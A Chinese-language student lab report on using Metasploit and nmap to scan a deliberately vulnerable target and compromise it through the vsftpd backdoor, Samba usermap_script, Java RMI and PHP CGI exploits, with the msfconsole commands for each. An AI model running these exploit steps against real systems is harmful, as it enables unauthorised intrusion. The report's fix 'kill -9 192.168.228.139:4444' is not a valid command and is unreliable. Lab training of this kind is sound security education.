1.实验内容
1.1实验要求
(1)掌握metasploit、nmap的用法。
(2)学习前期渗透的方法。
(3)利用4个漏洞,实现对靶机的攻击。
1.2学习内容
(1)metasploit的用法:可以简单总结为“Search-Use-Show-Set-Exploit/run”。
(2)四种漏洞的原理。
a. Vsftpd后门漏洞:在某些特定版本的vsftpd服务器中,攻击者通过植入恶意代码,使得当用户名以“:)”结尾时,服务器会在6200端口启动监听,并能够执行任意代码。
b. Samba MS-RPC Shell命令注入漏洞:在Samba中,更新用户口令的功能直接将用户输入传递给了/bin/sh,而没有进行任何过滤。如果攻击者利用MS-RPC接口向该功能提供恶意输入,就能以nobody用户的权限执行任意命令。
c. Java RMI SERVER命令执行漏洞:Java RMI服务器的默认配置存在安全缺陷,特别是在RMI注册表和RMI激活服务中,这些漏洞可以被利用来执行未授权的代码。
d. PHP CGI参数执行注入漏洞:某些CGI脚本对请求参数的处理不当,导致源代码泄露。攻击者可以在请求参数中插入恶意代码,从而执行命令。
2.实验过程
2.1前期渗透
在靶机中使用ipconfig得到ip地址为192.168.228.143.
如图:
在kali中打开msfconsole,输入以下命令。
search arp_sweep
use 0
set RHOSTS 192.168.228.0/24
run
扫描到了靶机。
如图:
可以在命令行中输入nmap -p 1-2048 192.168.228.143查看靶机开放的端口。
如图:
还可以在命令行中输入nmap -script=vuln 192.168.228.143对靶机的漏洞进行扫描。这个靶机被设置得非常不安全,有很多漏洞。截取一部分的结果,发现21端口有vsFTPd漏洞,1099端口有RMI registry default configuration remote code execution漏洞,大部分端口都开放着。
如图:
2.2Vsftpd源码包后门漏洞(21端口)
在msfconsole中输入以下命令。
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.228.143
run
再输入uname -a,pwd,id命令,可以看到已经获取靶机的shell,攻击成功。
如图:
2.3SambaMS-RPC Shell命令注入漏洞(端口139)
在msfconsole中输入以下命令。
use exploit/multi/samba/usermap_script
set RHOST 192.168.228.143
exploit
再输入uname -a命令,可以看到已经获取靶机的shell,攻击成功。
如图:
2.4Java RMI SERVER命令执行漏洞(1099端口)
在前期渗透中已经得知1099端口开放,在msfconsole中输入以下命令。
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.228.143
exploit
shell
输入命令whoami,得到结果root,说明攻击成功。
如图:
2.5PHP CGI参数执行注入漏洞(80端口)
在msfconsole中输入以下命令。
use exploit/multi/http/php_cgi_arg_injection
set RHOST 192.168.228.143
exploit
shell
可以执行命令,说明攻击成功。
如图:
3.问题及解决方案
问题1:在2.3环节中,我输入exploit后,显示一下错误:[-] Handler failed to bind to 0.0.0.0:4444:- -
[-] 192.168.228.143:139 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit completed, but no session was created.
解决方法:通过查询得知4444号端口被占用,我利用命令:kill -9 192.168.228.139:4444
4.学习感悟、思考等
①工具的重要性:Metasploit和Nmap是网络安全领域中非常强大的工具,它们可以帮助我们快速识别和利用漏洞。通过实践,我更加熟悉了这些工具的使用,也体会到了掌握这些工具对于网络安全工作的重要性。
②漏洞的多样性:实验涉及了多种类型的漏洞,包括后门漏洞、命令注入漏洞等。这些漏洞的存在表明,系统安全是一个多维度的问题,需要综合考虑各种潜在的风险点。
③前期渗透的重要性:在攻击过程中,前期的渗透和信息收集是非常关键的。通过前期的渗透,我可以了解目标系统的配置和潜在的弱点,为后续的攻击提供方向。
④防御意识的重要性:实验虽然成功,但更重要的是从中学习到如何防御类似的攻击。了解攻击手法后,可以更好地加固系统,提高安全性。
⑤持续学习:网络攻防是一个不断发展的领域,新的漏洞和攻击手法层出不穷。这次实验只是一个开始,持续学习和实践是提升网络安全技能的关键。